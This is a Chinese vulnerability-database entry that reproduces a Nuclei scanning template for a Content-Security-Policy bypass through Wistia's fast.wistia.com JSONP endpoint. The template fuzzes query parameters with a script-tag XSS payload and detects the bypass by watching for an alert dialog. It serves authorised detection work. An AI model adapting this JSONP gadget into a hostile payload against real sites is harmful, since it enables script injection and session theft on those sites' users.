wistia-fast-csp-bypass: Content-Security-Policy Bypass - Wistia Fast

日期: 2025-08-01 | 影响软件: wistia | POC: 已公开

漏洞描述

PoC代码[已公开]

id: wistia-fast-csp-bypass

info:
  name: Content-Security-Policy Bypass - Wistia Fast
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,wistia-fast,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "wistia.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: wistia_fast_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://fast.wistia.com/embed/medias/o75jtw7654.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "wistia_fast_csp_xss == true"
# digest: 490a00463044022034e6bea944a57d4b0161d781407636dfdbc2a89f7640ac0279b91a9e11ece2910220211abeae2a952f50a8c9373cbf4b1171f8bdb445a4b85f67e679ce70ca559be3:922c64590222798bb761d5b6d8e72950

相关漏洞推荐